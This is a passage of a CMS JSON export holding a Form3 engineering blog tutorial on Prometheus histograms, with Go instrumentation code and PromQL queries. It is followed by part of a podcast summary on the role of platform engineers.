others.",[],{"type":396,"text":15547,"spans":15548,"direction":4053},"Prometheus histograms are cumulative. In Prometheus, our example above would have different buckets: \u003C=10, \u003C=100 and \u003C=1000. Let’s see how this would look:",[],{"link_type":487},{"dimensions":15551,"alt":13,"copyright":13,"url":15552,"id":15553,"edit":15554},{"width":15493,"height":12576},"\u002F_prismic-media\u002F8c534cf40bae7597-t3rbQV9sVVvisnpb_d052a828-efc6-4ae3-8ac9-37c7171.png","t3rbQV9sVVvisnpb",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$93236aff-5280-45d5-82f4-5ca0db1e23cd",{"variation":459,"version":460,"items":15562,"primary":15563,"id":15589,"slice_type":479,"slice_label":13},[],{"body":15564},[15565,15568,15572,15575,15578,15581,15585],{"type":396,"text":15566,"spans":15567},"You can see that now, each bucket is bigger than the one before and contains a sum of all values up until the bucket’s threshold.",[],{"type":396,"text":15569,"spans":15570},"2. Prometheus histograms are time series’",[15571],{"start":17,"end":580,"type":477},{"type":396,"text":15573,"spans":15574},"Prometheus scrapes metrics from a process at intervals. Each time it scrapes a histogram metric, it will receive a histogram similar to the one above - a cumulative histogram with “less than or equal to” buckets.",[],{"type":396,"text":15576,"spans":15577},"What’s important to understand is that when you’re querying the histogram, you’re suddenly dealing with a time series of histograms. The histogram metric itself contains a range of values–one for each point in time that a scrape occurred–and each value represents a histogram like the one above.",[],{"type":396,"text":15579,"spans":15580},"Each histogram value–scraped at a scrape interval–summarises the distribution of values recorded by the process since the last scrape.",[],{"type":396,"text":15582,"spans":15583},"3. The time series itself is cumulative",[15584],{"start":17,"end":587,"type":477},{"type":396,"text":15586,"spans":15587},"Each time the histogram is scraped by Prometheus, the values are not reset. This means that the counts in each bucket are cumulative over the lifetime of the metric (at least in the memory of each process) and that it’s really the change in each bucket’s values the tells us the distribution of observations since the last scrape.",[15588],{"start":855,"end":6100,"type":780},"rich_text$95e3b000-e1ef-4abe-a854-5f3792f6e6a2",{"variation":459,"version":460,"items":15591,"primary":15592,"id":15610,"slice_type":479,"slice_label":13},[],{"body":15593},[15594,15597,15603,15606],{"type":1097,"text":15595,"spans":15596,"direction":4053},"An example",[],{"type":396,"text":15598,"spans":15599,"direction":4053},"Let’s put all of these ideas into practice. The examples below can all be found here along with a Docker Compose file for running a sample application and Prometheus.",[15600],{"start":688,"end":640,"type":744,"data":15601},{"link_type":453,"url":15602,"target":456},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fprometheus-histogram-example",{"type":396,"text":7770,"spans":15604,"direction":4053},[15605],{"start":17,"end":2369,"type":477},{"type":396,"text":15607,"spans":15608,"direction":4053},"Let’s start with an example application, written in Go. To begin with, let’s configure the application to listen for HTTP requests on port 8080 and handle Prometheus scrapes on the \u002Fmetrics route:",[15609],{"start":9494,"end":853,"type":477},"rich_text$f844ad83-ef01-4c03-9f20-8ceb2e66e72f",{"variation":459,"version":460,"items":15612,"primary":15613,"id":15618,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":15614},[15615],{"type":563,"text":15616,"spans":15617},"package main\n\nimport (\n    \"log\"\n    \"net\u002Fhttp\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\u002Fpromhttp\"\n)\n\nfunc main () {\n    http.Handle(\"\u002Fmetrics\", promhttp.Handler())\n    log.Fatal(http.ListenAndServe(\":8080\", nil))\n}",[],"code_block$58032cb8-3b1a-441d-ab4c-c7681a29bd4b",{"variation":459,"version":460,"items":15620,"primary":15621,"id":15626,"slice_type":479,"slice_label":13},[],{"body":15622},[15623],{"type":396,"text":15624,"spans":15625},"Now, let’s create a histogram metric with some predefined buckets:",[],"rich_text$9db6fa51-76a0-4dc1-bae0-8be44dc7536e",{"variation":459,"version":460,"items":15628,"primary":15629,"id":15634,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":15630},[15631],{"type":563,"text":15632,"spans":15633},"package main\n\nimport (\n    \"log\"\n    \"net\u002Fhttp\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\u002Fpromhttp\"\n    \"github.com\u002Fprometheus\u002Fclient_golang\u002Fprometheus\u002Fpromauto\"\n)\n\nfunc main () {\n    histogram := promauto.NewHistogram(prometheus.HistogramOpts{\n        Name:    \"histogram_metric\",\n        Buckets: []float64{1.0, 2.0, 3.0, 4.0, 5.0},\n    })\n    http.Handle(\"\u002Fmetrics\", promhttp.Handler())\n    log.Fatal(http.ListenAndServe(\":8080\", nil))\n}",[],"code_block$c9ea913f-784a-4028-bd1c-b0a250eb84f4",{"variation":459,"version":460,"items":15636,"primary":15637,"id":15642,"slice_type":479,"slice_label":13},[],{"body":15638},[15639],{"type":396,"text":15640,"spans":15641},"Finally, let’s run a function in the background to record values (or observations) in the histogram:",[],"rich_text$bc5e1e1e-d871-4bf0-88b4-676a922a2031",{"variation":459,"version":460,"items":15644,"primary":15645,"id":15650,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":15646},[15647],{"type":563,"text":15648,"spans":15649},"func main () {\n    histogram := promauto.NewHistogram(prometheus.HistogramOpts{\n        Name:    \"histogram_metric\",\n        Buckets: []float64{1.0, 2.0, 3.0, 4.0, 5.0},\n    })\n    go func() {\n        for {\n            histogram.Observe(rand.Float64() * 5.0)\n            time.Sleep(1 * time.Second)\n        }\n    }()\n    http.Handle(\"\u002Fmetrics\", promhttp.Handler())\n    log.Fatal(http.ListenAndServe(\":8080\", nil))\n}",[],"code_block$58f25e68-7abd-4ea9-ae8a-7d3250ca9bfc",{"variation":459,"version":460,"items":15652,"primary":15653,"id":15665,"slice_type":479,"slice_label":13},[],{"body":15654},[15655,15661],{"type":396,"text":15656,"spans":15657},"See here for the full file, but note that all we’re doing in this application is observing a random number between 0 and 5 once every second. The random number is a float, so each value will likely be different. We’re expecting the histogram to count the observations that fall into each of the buckets, which are separated by a value of 1.",[15658],{"start":667,"end":4811,"type":744,"data":15659},{"link_type":453,"url":15660},"https:\u002F\u002Fgithub.com\u002Fform3tech-oss\u002Fprometheus-histogram-example\u002Fblob\u002Fmaster\u002Fapplication\u002Fmain.go",{"type":396,"text":15662,"spans":15663},"Bucket thresholds are floats too, but in this example I’ve chosen integers to try to make things simpler.",[15664],{"start":17,"end":4004,"type":477},"rich_text$8180ccc9-5f1f-47d3-86ec-35733bacff79",{"variation":459,"version":460,"items":15667,"primary":15668,"id":15679,"slice_type":479,"slice_label":13},[],{"body":15669},[15670,15673],{"type":1097,"text":15671,"spans":15672,"direction":4053},"Example metric",[],{"type":396,"text":15674,"spans":15675,"direction":4053},"Now that we’ve got an example application that will do some work, record some metric values and expose them to Prometheus, let’s try running it and seeing the metric in Prometheus. Running docker-compose up against this docker-compose.yml file should get you setup with the application and Prometheus running locally.",[15676],{"start":3850,"end":2049,"type":744,"data":15677},{"link_type":453,"url":15678,"target":456},"https:\u002F\u002Fgithub.com\u002Fandykuszyk\u002Fprometheus-histogram-example\u002Fblob\u002Fmaster\u002Fdocker-compose.yml","rich_text$26b73f36-85f4-4ee5-84c7-606232f88513",{"variation":459,"version":481,"items":15681,"primary":15682,"id":15703,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15683,"body":15684,"cta_label":13,"cta_link":15691,"aside_type":488,"aside_image":15692,"aside_video":15698,"aside_video_poster":15699,"aside_video_reduced_motion":15700,"aside_video_url":13,"aside_embed":15701,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15702,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15685],{"type":396,"text":15686,"spans":15687,"direction":4053},"Open up Prometheus (http:\u002F\u002Flocalhost:9090) and try searching for our metric with histogram_metric_bucket. You should see something like this:",[15688],{"start":3298,"end":580,"type":744,"data":15689},{"link_type":453,"url":15690,"target":456},"http:\u002F\u002Flocalhost:9090\u002F",{"link_type":487},{"dimensions":15693,"alt":13,"copyright":13,"url":15695,"id":15696,"edit":15697},{"width":14652,"height":15694},578,"\u002F_prismic-media\u002Feda3148c38f03ed3-FcI1aXKHzzFkUf-C_ef651c83-605d-4d10-9d44-3204f63.png","FcI1aXKHzzFkUf-C",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$295702f4-f950-4e90-adac-a38e161653b1",{"variation":459,"version":460,"items":15705,"primary":15706,"id":15742,"slice_type":479,"slice_label":13},[],{"body":15707},[15708,15711,15714,15721,15724,15729,15733,15739],{"type":396,"text":15709,"spans":15710},"You may notice when you’re typing histogram_metric that two other metrics are listed as well: histogram_metric_count and histogram_metric_sum. This is because, in addition to the data that represents a histogram as we discussed above, histogram metrics in Prometheus also expose a cumulative count of all observations and a cumulative sum of all observations. This is particularly useful if, for example, you want to know the average duration of some thing as well as how many times per second it happened - the_count series can be used with the rate()function to give you the per-second rate of change",[],{"type":396,"text":15712,"spans":15713},"OK, so what are we looking at when we query the metric? There are a few key points to note:",[],{"type":1101,"text":15715,"spans":15716},"We are looking at an instant vector, which means we’re seeing the latest set of values scraped by Prometheus (as opposed to a range of values over time). In other words, we’re looking at a cumulative histogram just like the example we discussed above.",[15717,15718],{"start":706,"end":1372,"type":780},{"start":706,"end":1372,"type":744,"data":15719},{"link_type":453,"url":15720},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fprometheus\u002Flatest\u002Fquerying\u002Fbasics\u002F#instant-vector-selectors",{"type":1101,"text":15722,"spans":15723},"Each time Prometheus scrapes a histogram, it collects an instant vector like this one.",[],{"type":1101,"text":15725,"spans":15726},"After the metric name in {} are a set of labels which add dimensions to the histogram’s data (you can filter the values based on label criteria).",[15727,15728],{"start":2118,"end":2744,"type":780},{"start":580,"end":3824,"type":780},{"type":1101,"text":15730,"spans":15731},"The most important of these is the le label which is the “less than or equal to” bucket threshold.",[15732],{"start":1372,"end":475,"type":780},{"type":1101,"text":15734,"spans":15735},"The value for le=1 is the cumulative count of all observations \u003C=1. The same is true for the other le values, which is why the counts always increase as the value of le increases - all the buckets are cumulative.",[15736,15737,15738],{"start":1403,"end":905,"type":780},{"start":2542,"end":5380,"type":780},{"start":2537,"end":1550,"type":780},{"type":396,"text":15740,"spans":15741},"So, now we have a cumulative count of all observations in each of our buckets. Whilst that (hopefully) makes sense so far, it’s not particularly useful for helping us understand the underlying distribution of the observations made in our instrumented program. We need a good way to query histograms.",[],"rich_text$92c763a3-ea62-4833-b44a-dc5c82f784b2",{"variation":459,"version":460,"items":15744,"primary":15745,"id":15763,"slice_type":479,"slice_label":13},[],{"body":15746},[15747,15750,15754],{"type":1097,"text":15748,"spans":15749,"direction":4053},"Example query",[],{"type":396,"text":15751,"spans":15752,"direction":4053},"The frequency of observations",[15753],{"start":17,"end":586,"type":477},{"type":396,"text":15755,"spans":15756,"direction":4053},"First of all, before we dive into understanding the distribution of values in our histogram, let’s just back-track to the fact that the histogram also exposes a _count which we can use to understand the frequency of observations per second. This might be particularly useful in the example of recording HTTP request durations - the histogram _bucket series will tell you how long the requests tool, but the _count series can also be used to tell you how many requests were made per second. Understanding the rate of observations is easy with the following Prometheus query:",[15757,15758,15761],{"start":1049,"end":6975,"type":780},{"start":15759,"end":15760,"type":780},332,349,{"start":12594,"end":15762,"type":780},413,"rich_text$12a2b353-43c6-428d-90ff-c1a1bb9eb96f",{"variation":459,"version":460,"items":15765,"primary":15766,"id":15771,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":15767},[15768],{"type":563,"text":15769,"spans":15770},"rate(histogram_metric_count[1m])",[],"code_block$d81355dd-788f-4500-b8a5-515bd8ad71ae",{"variation":459,"version":460,"items":15773,"primary":15774,"id":15780,"slice_type":479,"slice_label":13},[],{"body":15775},[15776],{"type":396,"text":15777,"spans":15778,"direction":4053},"This query takes the observations for the last minute ([1m]) and calculates the per-second rate of change of the count, thus giving us the number of observations per second.",[15779],{"start":599,"end":2019,"type":780},"rich_text$f7e0af2d-a6f9-4be9-ad21-92b502f47b4b",{"variation":459,"version":481,"items":15782,"primary":15783,"id":15809,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15784,"body":15785,"cta_label":13,"cta_link":15797,"aside_type":488,"aside_image":15798,"aside_video":15804,"aside_video_poster":15805,"aside_video_reduced_motion":15806,"aside_video_url":13,"aside_embed":15807,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15808,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15786,15790,15793],{"type":396,"text":15787,"spans":15788,"direction":4053},"The distribution of observations",[15789],{"start":17,"end":515,"type":477},{"type":396,"text":15791,"spans":15792,"direction":4053},"This is where the real magic happens. We have some high-frequency event (again, think web requests) where a large number of observations (e.g. request durations) are made in-between each of Prometheus’ scrape intervals. We use a histogram metric to record the observations and now we want to query the metric to give us some insight into how the values are distributed within the scrape interval and over time.",[],{"type":396,"text":15794,"spans":15795,"direction":4053},"Let’s build up the query step-by-step. First, let’s just query the metric with histogram_metric_bucket:",[15796],{"start":3006,"end":900,"type":780},{"link_type":487},{"dimensions":15799,"alt":13,"copyright":13,"url":15801,"id":15802,"edit":15803},{"width":15800,"height":9829},759,"\u002F_prismic-media\u002F7aff510bb73e1956-pnCPdR9rqkHPLMwb_cdca28c5-46a6-4b39-bfb9-130c1c9.png","pnCPdR9rqkHPLMwb",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$3041a53e-ed98-4327-ad19-548b46b13904",{"variation":459,"version":481,"items":15811,"primary":15812,"id":15836,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15813,"body":15814,"cta_label":13,"cta_link":15823,"aside_type":488,"aside_image":15824,"aside_video":15831,"aside_video_poster":15832,"aside_video_reduced_motion":15833,"aside_video_url":13,"aside_embed":15834,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15835,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15815,15819],{"type":396,"text":15816,"spans":15817,"direction":4053},"This shows us the the cumulative count of observations in each of our buckets.",[15818],{"start":17,"end":601,"type":477},{"type":396,"text":15820,"spans":15821,"direction":4053},"Now, let’s take a range of values from the metric for the last minute with histogram_metric_bucket[1m]:",[15822],{"start":5023,"end":900,"type":780},{"link_type":487},{"dimensions":15825,"alt":13,"copyright":13,"url":15828,"id":15829,"edit":15830},{"width":15826,"height":15827},762,574,"\u002F_prismic-media\u002Fbc48c7e28569a59c-vx-b9HNdc86MSim0_c29665f7-9586-43d8-a4b4-b1532e6.png","vx-b9HNdc86MSim0",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$7cf20f5f-085f-4ff8-936f-74bd9a7a67bc",{"variation":459,"version":481,"items":15838,"primary":15839,"id":15863,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15840,"body":15841,"cta_label":13,"cta_link":15850,"aside_type":488,"aside_image":15851,"aside_video":15858,"aside_video_poster":15859,"aside_video_reduced_motion":15860,"aside_video_url":13,"aside_embed":15861,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15862,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15842,15846],{"type":396,"text":15843,"spans":15844,"direction":4053},"Now we have the cumulative counts for each bucket, but over the last minute’s scrape intervals.",[15845],{"start":17,"end":641,"type":477},{"type":396,"text":15847,"spans":15848,"direction":4053},"Let’s see how those buckets have been changing over time by looking at the per-second rate of change of each bucket with rate(histogram_metric_bucket[1m]):",[15849],{"start":2069,"end":605,"type":780},{"link_type":487},{"dimensions":15852,"alt":13,"copyright":13,"url":15855,"id":15856,"edit":15857},{"width":15853,"height":15854},763,489,"\u002F_prismic-media\u002Fcdaf529c60efd111-kTzx60MB-UWdTGAZ_9a9b8ccd-7641-4a2f-b6ef-c143289.png","kTzx60MB-UWdTGAZ",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$cd076f2b-31a1-4cd9-9dd0-21deff0002b9",{"variation":459,"version":481,"items":15865,"primary":15866,"id":15893,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15867,"body":15868,"cta_label":13,"cta_link":15881,"aside_type":488,"aside_image":15882,"aside_video":15888,"aside_video_poster":15889,"aside_video_reduced_motion":15890,"aside_video_url":13,"aside_embed":15891,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":15892,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[15869,15873],{"type":396,"text":15870,"spans":15871,"direction":4053},"This shows us how frequently observations have been made in each of the buckets over the last minute",[15872],{"start":17,"end":2296,"type":477},{"type":396,"text":15874,"spans":15875,"direction":4053},"Finally, we can use the Prometheus function histogram_quantile() to turn this information into useful insight. Because we have the rate of change of each of the histogram buckets, Prometheus can now work out which bucket label contains a given quantile (e.g. the 95th percentile). This means that we can now find out the approximate value at which a given quantile was represented in the data. For example, histogram_quantile(0.95, rate(histogram_metric_bucket[1m])):",[15876,15879],{"start":2015,"end":5013,"type":744,"data":15877},{"link_type":453,"url":15878,"target":456},"https:\u002F\u002Fprometheus.io\u002Fdocs\u002Fprometheus\u002Flatest\u002Fquerying\u002Ffunctions\u002F#histogram_quantile",{"start":12594,"end":15880,"type":780},466,{"link_type":487},{"dimensions":15883,"alt":13,"copyright":13,"url":15885,"id":15886,"edit":15887},{"width":15884,"height":4576},757,"\u002F_prismic-media\u002Ff5eed894285d83b0-oqHMaN62go2_FaZn_567c5222-7ace-47e2-9301-8bcc686.png","oqHMaN62go2_FaZn",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$e3d7d156-eb46-40dc-82ab-7d828646f3af",{"variation":459,"version":460,"items":15895,"primary":15896,"id":15901,"slice_type":479,"slice_label":13},[],{"body":15897},[15898],{"type":396,"text":15899,"spans":15900},"Here you can see that over the last minute the approximate value of our observations at the 95th percentile is 4.72. Insight! Remember that each time Prometheus scrapes the value of the histogram, it’s pulling back a cumulative count of all the buckets in our histogram (just like the examples at the beginning of this blog). Over time (e.g. the one minute interval in this example), that’s a lot of data and, over a time-series (e.g. a chart showing the last 6 hours), that’s a lot of data to summarise! There are lots of ways to try to glean insight from this data, but the example given here is the simplest. You might want to try querying different quantiles to see how your system is performing - you’d find the median value at quantile 0.5 and the maximum values at quantile 1.0.",[],"rich_text$155ca1e9-51c6-4272-a153-05d6f589fe27",{"variation":459,"version":460,"items":15903,"primary":15904,"id":15918,"slice_type":479,"slice_label":13},[],{"body":15905},[15906,15909,15912],{"type":1097,"text":15907,"spans":15908,"direction":4053},"Prometheus at Form3",[],{"type":396,"text":15910,"spans":15911,"direction":4053},"At Form3, we run a distributed system with lots of components communicating over HTTP, or via message brokers. We use Prometheus Histograms extensively to instrument things like processing times, because they allow us to aggregate telemetry from all the replicas of our services and gain insight into the distribution of a large number observations from all over our platform.",[],{"type":396,"text":15913,"spans":15914,"direction":4053},"We find Prometheus itself to be an indispensable monitoring tool, and make use of Grafana Cloud to provide a robust monitoring stack, with long-term metrics storage.",[15915],{"start":899,"end":641,"type":744,"data":15916},{"link_type":453,"url":15917,"target":456},"https:\u002F\u002Fgrafana.com\u002Fproducts\u002Fcloud\u002F","rich_text$57a73063-c189-4aea-ba72-738bf67b0634",{"variation":459,"version":460,"items":15920,"primary":15921,"id":15932,"slice_type":479,"slice_label":13},[],{"body":15922},[15923,15926,15929],{"type":1097,"text":15924,"spans":15925,"direction":4053},"Summary \u003C\u003C--that's a Prometheus pun!",[],{"type":396,"text":15927,"spans":15928,"direction":4053},"Of the four metric types that Prometheus understands, I’ve found the histogram the most difficult to get to grips with. Histograms and Summaries can be used for similar things, but histograms are very versatile and are a great way of understanding processing durations in a distributed system.",[],{"type":396,"text":15930,"spans":15931,"direction":4053},"I hope this post helped you understand histograms a little better!",[],"rich_text$5399cdc1-1b86-49d0-a258-530257251093",{"id":15934,"uid":15935,"url":15936,"type":406,"href":15937,"tags":15938,"first_publication_date":15150,"last_publication_date":15939,"slugs":15940,"linked_documents":15942,"lang":386,"alternate_languages":15943,"data":15944},"alz1OBEAACwAUWh_","ep26-podcast","\u002Fresources\u002Fengineering-blog\u002Fep26-podcast","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1OBEAACwAUWh_%22%29+%5D%5D",[],"2026-09-02T18:57:26+0000",[15941],".tech-podcast---role-of-a-platform-engineer",[],[],{"title":15945,"excerpt":15946,"card_image":15947,"published_date":15952,"reading_time":672,"tag":427,"dek":13,"featured_image":15953,"about_form3":15954,"client_about_heading":13,"client_about_body":15955,"author_name":1277,"author_title":1278,"author_photo":15956,"author_bio":15959,"author_linkedin":15962,"slices":15964,"meta_title":15945,"meta_description":15946},".tech Podcast - Role of a platform engineer","Technology is moving at a very fast pace. More and more services are becoming available on the cloud and the physical infrastructure is being pushed further from the engineers. Ben Cordero, a SRE at Snyk, joined our host, Kevin Holditch, to describe the role of a platform engineer. What things should they be focusing on? What should they be on call for? What experience should they be aiming to give the engineers using the platform? Ben provides a fascinating insight to how platform engineering has changed and will continue to change as time goes on.",{"dimensions":15948,"alt":15949,"copyright":13,"url":15950,"id":1265,"edit":15951},{"width":420,"height":420},".tech","\u002F_prismic-media\u002F317e5b27b2015a89-Ae9UwzA77Du7qvKY_podcast-conf-speaking.png",{"x":17,"y":17,"zoom":18,"background":19},"2022-02-15",{},[],[],{"dimensions":15957,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":15958},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[15960],{"type":396,"text":1287,"spans":15961},[],{"link_type":453,"key":15963,"url":1291,"target":456},"1c4c7aa1-9024-4c45-ba39-25b3b2c3b0df",[15965,15984,16004,16033,16059,16085,16099,16128],{"variation":459,"version":460,"items":15966,"primary":15967,"id":15983,"slice_type":479,"slice_label":13},[],{"body":15968},[15969,15971,15980],{"type":465,"text":15945,"spans":15970},[],{"type":396,"text":15972,"spans":15973},"Ben Cordero from Snyk discusses where we draw the line between platform and product. Then, he explains the Kubernetes operator pattern, which is a good developer experience. Finally, he touches upon what a good on-call rotation is and how to structure it without burning out engineers.",[15974,15977],{"start":17,"end":1998,"type":744,"data":15975},{"link_type":453,"url":15976,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbencordero\u002F",{"start":967,"end":706,"type":744,"data":15978},{"link_type":453,"url":15979,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fsnyk\u002F",{"type":396,"text":15981,"spans":15982},"Ben is an experienced SRE, with a long track record of building and testing systems. Here are some of his key highlights on building and running platform, as well as his experiences being a platform engineer.",[],"rich_text$cb33a524-ddfb-4714-bcc3-f1f91473e060",{"variation":459,"version":481,"items":15985,"primary":15986,"id":16003,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":15987,"body":15991,"cta_label":1304,"cta_link":15994,"aside_type":13,"aside_image":15997,"aside_video":15998,"aside_video_poster":15999,"aside_video_reduced_motion":16000,"aside_video_url":13,"aside_embed":16001,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":16002,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[15988],{"type":465,"text":15989,"spans":15990},"Ep 26 .tech - Role of a platform engineer",[],[15992],{"type":396,"text":1302,"spans":15993},[],{"link_type":453,"key":15995,"url":15996},"b6a6a0cd-562c-40bc-9ed4-e0c3a22d5de1","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-26-tech-role-of-a-platform-engineer-kRAdeSDT",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$39c0d3bb-c43d-4528-bfc3-4ca94b1c471e",{"variation":459,"version":460,"items":16005,"primary":16006,"id":16032,"slice_type":479,"slice_label":13},[],{"body":16007},[16008,16011,16014,16017,16020,16023,16026,16029],{"type":465,"text":16009,"spans":16010},"Drawing the line between platform and software",[],{"type":396,"text":16012,"spans":16013},"Companies should be focusing on hiring engineers to build product. Often, early stage startups decide not to have a platform team. As the company grows, from 10 to about 100 engineers, they begin to focus on hiring platform engineers to enable faster delivery.",[],{"type":396,"text":16015,"spans":16016},"There are lots of aspects a platform engineer can focus on: pipelines, build systems, testing or observability stacks. Having someone dedicated to these things can help engineers deliver more efficiently.",[],{"type":1101,"text":16018,"spans":16019},"The platform team really can take care of anything that falls in between teams and that teams share. However, teams should be involved in the design and development of these shared pieces of functionality.",[],{"type":1101,"text":16021,"spans":16022},"Communication is key to make sure that the platform team is able to support teams in delivering as fast as possible.",[],{"type":396,"text":16024,"spans":16025},"Having a consistent way to deliver workloads allows teams to achieve better efficiency.",[],{"type":1101,"text":16027,"spans":16028},"At Form3, our teams get Terraform workspaces that they are responsible for maintaining. The platform team are then responsible for keeping the underlying clusters running.",[],{"type":1101,"text":16030,"spans":16031},"At Snyk, the Helm chart itself is the hand off point between platform and product teams. Any namespace Kubernetes resource can be opened up as the platform API.",[],"rich_text$3ee6ebe5-e307-4afb-a47e-509197221dfa",{"variation":459,"version":460,"items":16034,"primary":16035,"id":16058,"slice_type":479,"slice_label":13},[],{"body":16036},[16037,16040,16046,16049,16052,16055],{"type":465,"text":16038,"spans":16039},"The Kubernetes operator pattern",[],{"type":396,"text":16041,"spans":16042},"The Kubernetes operator pattern is a good approach for application specific infrastructure. It gives us the following breakdown:",[16043],{"start":667,"end":2585,"type":744,"data":16044},{"link_type":453,"url":16045,"target":456},"https:\u002F\u002Fkubernetes.io\u002Fdocs\u002Fconcepts\u002Fextend-kubernetes\u002Foperator\u002F",{"type":1101,"text":16047,"spans":16048},"From the developer point of view, you have a small YAML file that describes the resources and workloads.",[],{"type":1101,"text":16050,"spans":16051},"Outside of that module, you have the URL that you need to connect to, automatically provisioned credentials, metrics, dashboards, alerts etc. hidden behind the API abstraction.",[],{"type":1101,"text":16053,"spans":16054},"The implementation of that abstraction is done by the in-house platform team. They can do upgrades and migrations without any changes to API or disruptions to the product team.",[],{"type":396,"text":16056,"spans":16057},"Stateful Kubernetes workloads are trickier to update. You could even go so far as to form specialised platform teams that rebuild them on different schedules than the stateless workloads",[],"rich_text$fc3cc965-a670-4e02-a667-302db4db3391",{"variation":459,"version":460,"items":16060,"primary":16061,"id":16084,"slice_type":479,"slice_label":13},[],{"body":16062},[16063,16066,16078,16081],{"type":465,"text":16064,"spans":16065},"Serverless",[],{"type":396,"text":16067,"spans":16068},"The industry trend seems to be towards serverless. We have Amazon EKS Serverless, AWS Fargate and even Amazon Aurora Serverless. This seems to diminish the need for a dedicated platform team as we push the platform responsibility for the cloud provider.",[16069,16072,16075],{"start":2019,"end":688,"type":744,"data":16070},{"link_type":453,"url":16071,"target":456},"https:\u002F\u002Fdocs.aws.amazon.com\u002Feks\u002Flatest\u002Fuserguide\u002Fwhat-is-eks.html",{"start":899,"end":5029,"type":744,"data":16073},{"link_type":453,"url":16074,"target":456},"https:\u002F\u002Faws.amazon.com\u002Ffargate\u002F",{"start":550,"end":8119,"type":744,"data":16076},{"link_type":453,"url":16077},"https:\u002F\u002Faws.amazon.com\u002Frds\u002Faurora\u002Fserverless\u002F",{"type":396,"text":16079,"spans":16080},"The cost efficiency of going serverless is useful for companies trying to optimise product for infrastructure. Another optimisation is the single tenant optimisation for data locality or risk averse customers.",[],{"type":396,"text":16082,"spans":16083},"There is a case to be made that if startups should serverless from the ground up today, instead of reaching for Kubernetes immediately. However, serverless principles are still relatively new, so you might have a hard time getting engineers with the in-depth knowledge required to build fully serverless. It’s therefore not straightforward to start with serverless.",[],"rich_text$89dcbe28-ee5e-4608-be66-0fa68cd2bc9a",{"variation":459,"version":460,"items":16086,"primary":16087,"id":16098,"slice_type":479,"slice_label":13},[],{"body":16088},[16089,16092,16095],{"type":465,"text":16090,"spans":16091},"Reducing the friction of deploying to production",[],{"type":396,"text":16093,"spans":16094},"Focus on new starters. New joiners to the company won’t know how to use your tools, solve incidents and run software in production. Make the new starter experience great. This will also make it easier for existing engineers to switch to a new codebase at your company and contribute immediately.",[],{"type":396,"text":16096,"spans":16097},"Platform teams should add the pain points of new starters to their roadmaps. They are product teams where the features are developer velocity and on-call incident diagnosis.",[],"rich_text$8a5197cf-d614-447e-b47a-2e4521ed2a27",{"variation":459,"version":460,"items":16100,"primary":16101,"id":16127,"slice_type":479,"slice_label":13},[],{"body":16102},[16103,16106,16109,16118,16121,16124],{"type":465,"text":16104,"spans":16105},"Running on-call",[],{"type":396,"text":16107,"spans":16108},"Most engineers are expected to be on-call and run platforms that are available 24\u002F7. Keeping the product alive and your customers happy is where the focus and attention should be.",[],{"type":396,"text":16110,"spans":16111},"The Google SRE book, Site Reliability Engineering: How Google Runs Production Systems describes SLOs and alerting on symptoms that actually cause customers pain, as opposed alerting when the server goes down or on specific CPU.",[16112,16115],{"start":706,"end":1406,"type":744,"data":16113},{"link_type":453,"url":16114},"https:\u002F\u002Fbooks.google.co.uk\u002Fbooks?id=81UrjwEACAAJ",{"start":9702,"end":2296,"type":744,"data":16116},{"link_type":453,"url":16117},"https:\u002F\u002Fsre.google\u002Fsre-book\u002Fservice-level-objectives\u002F",{"type":396,"text":16119,"spans":16120},"Noisy or meaningless alerts burn out engineers.",[],{"type":396,"text":16122,"spans":16123},"If you’re writing code, you should be the one 